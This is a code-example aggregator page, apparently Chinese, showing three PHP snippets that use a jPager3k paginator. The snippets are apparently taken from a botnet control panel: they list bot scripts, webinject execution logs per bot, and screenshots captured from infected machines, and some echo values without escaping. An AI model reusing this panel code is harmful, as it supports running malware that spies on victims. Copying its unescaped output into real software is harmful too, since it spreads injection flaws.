本文整理汇总了PHP中Paginator::jPager3k方法的典型用法代码示例。如果您正苦于以下问题:PHP Paginator::jPager3k方法的具体用法?PHP Paginator::jPager3k怎么用?PHP Paginator::jPager3k使用的例子?那么, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类Paginator
的用法示例。
在下文中一共展示了Paginator::jPager3k方法的3个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。
示例1: array
$mx = @mysql_fetch_row($rx);
$theme_text = $i % 2 ? THEME_LIST_ITEM_LTEXT_U2 : THEME_LIST_ITEM_LTEXT_U1;
$theme_num = $i % 2 ? THEME_LIST_ITEM_RTEXT_U2 : THEME_LIST_ITEM_RTEXT_U1;
$url_edit = str_replace(array('{URL}', '{TEXT}'), array(QUERY_STRING_HTML . '&view=' . $mt[0], strlen($mt[2]) > 0 ? htmlEntitiesEx($mt[2]) : '-'), THEME_LIST_ANCHOR);
$url_status = $mt[3] > 0 ? LNG_BOTNET_STATUS_ENABLED : LNG_BOTNET_STATUS_DISABLED;
if ($_allow_edit) {
$url_status = str_replace(array('{URL}', '{TEXT}'), array(QUERY_STRING_HTML . '&status=' . $mt[0] . '&enable=' . ($mt[3] > 0 ? 0 : 1), $url_status), THEME_LIST_ANCHOR);
}
$list .= THEME_LIST_ROW_BEGIN;
if ($_allow_edit) {
$list .= str_replace(array('{NAME}', '{VALUE}', '{JS_EVENTS}'), array('scripts[]', $mt[0], ''), $i % 2 ? THEME_LIST_ITEM_INPUT_CHECKBOX_1_U2 : THEME_LIST_ITEM_INPUT_CHECKBOX_1_U1);
}
$list .= str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $url_edit), $theme_text) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $url_status), $theme_text) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx(gmdate(LNG_FORMAT_DT, $mt[5]))), $theme_num) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', numberFormatAsInt($mt[4])), $theme_num) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', numberFormatAsInt(isset($mx[0]) ? $mx[0] : 0)), $theme_num) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', numberFormatAsInt(isset($mx[1]) ? $mx[1] : 0)), $theme_num) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', numberFormatAsInt(isset($mx[2]) ? $mx[2] : 0)), $theme_num) . THEME_LIST_ROW_END;
}
}
$list .= '<tr><td colspan=8>' . $PAGER->jPager3k('?' . mkuri(1, 'm') . '&page=%page%', null, 'jPager3k') . '</td></tr>';
$list .= '<link rel="stylesheet" href="theme/js/jPager3k/jPager3k-default.css" />';
$list .= '<link rel="stylesheet" href="theme/js/jPager3k/jPager3k.css" />';
$list .= '<script type="text/javascript" src="theme/js/jPager3k/jPager3k.js"></script>';
}
///////////////////////////////////////////////////////////////////////////////////////////////////
// Вывод.
///////////////////////////////////////////////////////////////////////////////////////////////////
//Список действий.
$al = '';
if ($_allow_edit) {
$al = LNG_BOTNET_LIST_ACTION . THEME_STRING_SPACE . str_replace(array('{NAME}', '{WIDTH}'), array('scriptsaction', 'auto'), THEME_DIALOG_ITEM_LISTBOX_BEGIN) . str_replace(array('{VALUE}', '{TEXT}'), array(0, LNG_BOTNET_LIST_ACTION_ENABLE), THEME_DIALOG_ITEM_LISTBOX_ITEM) . str_replace(array('{VALUE}', '{TEXT}'), array(1, LNG_BOTNET_LIST_ACTION_DISABLE), THEME_DIALOG_ITEM_LISTBOX_ITEM) . str_replace(array('{VALUE}', '{TEXT}'), array(2, LNG_BOTNET_LIST_ACTION_RESET), THEME_DIALOG_ITEM_LISTBOX_ITEM) . str_replace(array('{VALUE}', '{TEXT}'), array(3, LNG_BOTNET_LIST_ACTION_REMOVE), THEME_DIALOG_ITEM_LISTBOX_ITEM) . THEME_DIALOG_ITEM_LISTBOX_END . THEME_STRING_SPACE . str_replace(array('{TEXT}', '{JS_EVENTS}'), array(LNG_ACTION_APPLY, ''), THEME_DIALOG_ITEM_ACTION_SUBMIT) . THEME_DIALOG_ITEM_ACTION_SEPARATOR . str_replace(array('{TEXT}', '{JS_EVENTS}'), array(LNG_BOTNET_LIST_ACTION_ADD, ' onclick="window.location=\'' . QUERY_STRING_HTML . '&new=-1\'"'), THEME_DIALOG_ITEM_ACTION) . THEME_STRING_NEWLINE . THEME_STRING_NEWLINE;
$al = THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', $al, THEME_DIALOG_ITEM_TEXT) . THEME_DIALOG_ROW_END;
}
//Вывод.
ThemeBegin(LNG_BOTNET, $js_script, 0, 0);
示例2: actionExecLogs
/** Execution logs list page
* @param int $page
*/
function actionExecLogs($page = 1)
{
ThemeBegin(LNG_MM_BOTNET_WEBINJECTS, 0, getBotJsMenu('botmenu'), 0);
$PAGER = new Paginator($page, 50);
$q_logs = $this->db->prepare('SELECT SQL_CALC_FOUND_ROWS
`b`.`bid`,
`b`.`name` AS `b_name`,
`b`.`mtime` AS `b_mtime`,
`h`.`botId`,
`h`.`etime`,
`h`.`exec_count`,
`h`.`exec_error`,
`h`.`debug_error`
FROM `botnet_webinjects_history` `h`
LEFT JOIN `botnet_webinjects_bundle` `b` USING(`bid`)
ORDER BY
`h`.`etime` IS NULL DESC,
`b`.`mtime` DESC,
`h`.`etime` DESC
LIMIT :limit, :perpage
;');
$PAGER->pdo_limit($q_logs, ':limit', ':perpage');
$q_logs->execute();
$PAGER->total($this->db->found_rows());
echo '<table id="exec-logs" class="zebra lined">';
echo '<THEAD>', '<tr>', '<th>', 'BotId', '</th>', '<th>', 'Bundle', '</th>', '<th>', 'State', '</th>', '<th>', 'Exec count', '</th>', '<th>', 'Exec time', '</th>', '<th>', 'Exec error', '</th>', '<th>', 'Debug error', '</th>', '</tr>', '</THEAD>';
echo '<TBODY>';
while ($log = $q_logs->fetchObject()) {
$state = (int) is_null($log->etime) . (int) is_null($log->exec_error) . (int) is_null($log->debug_error);
switch ($state) {
case '111':
$state_text = 'pending';
break;
case '011':
$state_text = 'success';
break;
case '001':
$state_text = 'exec error';
break;
case '010':
$state_text = 'bot error';
break;
default:
$state_text = '???';
break;
}
echo '<tr class="state' . $state . '">';
echo '<th>', htmlentities($log->botId), '</th>';
echo '<td>', htmlentities($log->b_name), '</td>';
echo '<td>', $state_text, '</td>';
# Exec count
echo '<td>', is_null($log->exec_count) ? '-' : $log->exec_count, '</td>';
# Exec time
echo '<td>', is_null($log->etime) ? date('H:i:s d.m.Y', $log->b_mtime) : timeago(time() - $log->etime), '</td>';
# Exec error
echo '<td>', is_null($log->exec_error) ? '' : '<div class="exec_error">' . htmlentities($log->exec_error) . '</div>', '</td>';
# Debug error
echo '<td>', is_null($log->debug_error) ? '' : '<div class="debug_error">' . htmlentities($log->debug_error) . '</div>', '</td>';
echo '</tr>';
}
echo '</TBODY>';
echo '</table>';
echo $PAGER->jPager3k(mkuri(1, 'm') . '&page=%page%', null, 'paginator');
echo <<<HTML
\t\t<script src="theme/js/jPager3k/jPager3k.js"></script>
\t\t<link rel="stylesheet" href="theme/js/jPager3k/jPager3k.css">
\t\t<link rel="stylesheet" href="theme/js/jPager3k/jPager3k-default.css">
HTML;
ThemeEnd();
}
示例3: actionAjaxGallery
/** Display screenshots gallery
* @param string $date The date to display the gallery for: '2003-12-31'
* @param int $page The page number
* @param null $botId
* @param bool $feed_format Use the 'Feed' format? else, just a date-sorted list
*/
function actionAjaxGallery($date, $page = 1, $botId = null, $feedMode = 1)
{
$db = dbPDO::singleton();
$date_int = strtotime($date);
# Find the min date fitting the requirement
$q = $db->query('SELECT MAX(ftime)
FROM `botnet_screenshots`
WHERE ftime <= (:ftime + 60*60*24)
;', array(':ftime' => $date_int));
$d = $q->fetchColumn(0);
if (!is_null($d)) {
$date_int = $d;
$date = date('Y-m-d', $date_int);
}
# Paginator
$PAGER = new Paginator($page, self::SCREENSHOTS_PER_PAGE);
# Load images
$q = $db->prepare('
SELECT SQL_CALC_FOUND_ROWS *
FROM `botnet_screenshots` `bs`
WHERE
`ftime` BETWEEN :ftime0 AND :ftime1
AND (:botId IS NULL OR `botId`=:botId )
ORDER BY ' . ($feedMode ? '`group` DESC, `ftime` ASC' : '`ftime` DESC') . '
LIMIT :limit, :perpage
;');
$q->bindValue(':ftime0', $date_int - 60 * 60 * 24);
$q->bindValue(':ftime1', $date_int);
$q->bindValue(':botId', $botId);
$PAGER->pdo_limit($q, ':limit', ':perpage');
$q->setFetchMode(dbPDO::FETCH_OBJ);
$q->execute();
$PAGER->total($db->found_rows());
# Output
echo '<div class="botgallery-date" id="botgallery-date-' . $date . '">';
echo '<h1>', $date, '</h1>';
$prev_botId = null;
foreach ($q as $row) {
if ($prev_botId !== $row->botId) {
if (!is_null($prev_botId)) {
echo '</ul>';
}
echo '<h2><a href="?m=reports_images/ajaxGallery&date=', date('Y-m-d'), '&botId=', $row->botId, "&feedMode={$feedMode}", '">', $row->botId, '</a></h2>';
echo '<ul class="botgallery">';
$prev_botId = $row->botId;
}
$img = $GLOBALS['config']['reports_path'] . '/files/' . $row->file;
echo '<li>', '<a href="', $img, '" rel="bs', $row->group, '" title="', htmlspecialchars($row->file), '" class="LOL">', '<img src="', $img, '" class="BUGAGA" />', '</a>', '</li>';
}
# Final
echo is_null($prev_botId) ? LNG_NO_RESULTS : '</ul>';
# Pager
if ($PAGER->page_count > 1) {
echo $PAGER->jPager3k('?m=reports_images/ajaxGallery&date=' . $date . '&page=%page%' . (is_null($botId) ? '' : '&botId=' . $botId) . "&feedMode={$feedMode}", null, 'jPager3k');
}
echo '</div>';
# Load more results
if ($db->query('SELECT EXISTS(SELECT 1 FROM `botnet_screenshots` WHERE `ftime`<' . $date_int . ')')->fetchColumn(0)) {
echo '<a href="?m=reports_images/ajaxGallery&date=', date('Y-m-d', $date_int - 60 * 60 * 24), is_null($botId) ? '' : '&botId=' . $botId, "&feedMode={$feedMode}", '" id="load_more">', LNG_LOAD_MORE, '</a>';
}
}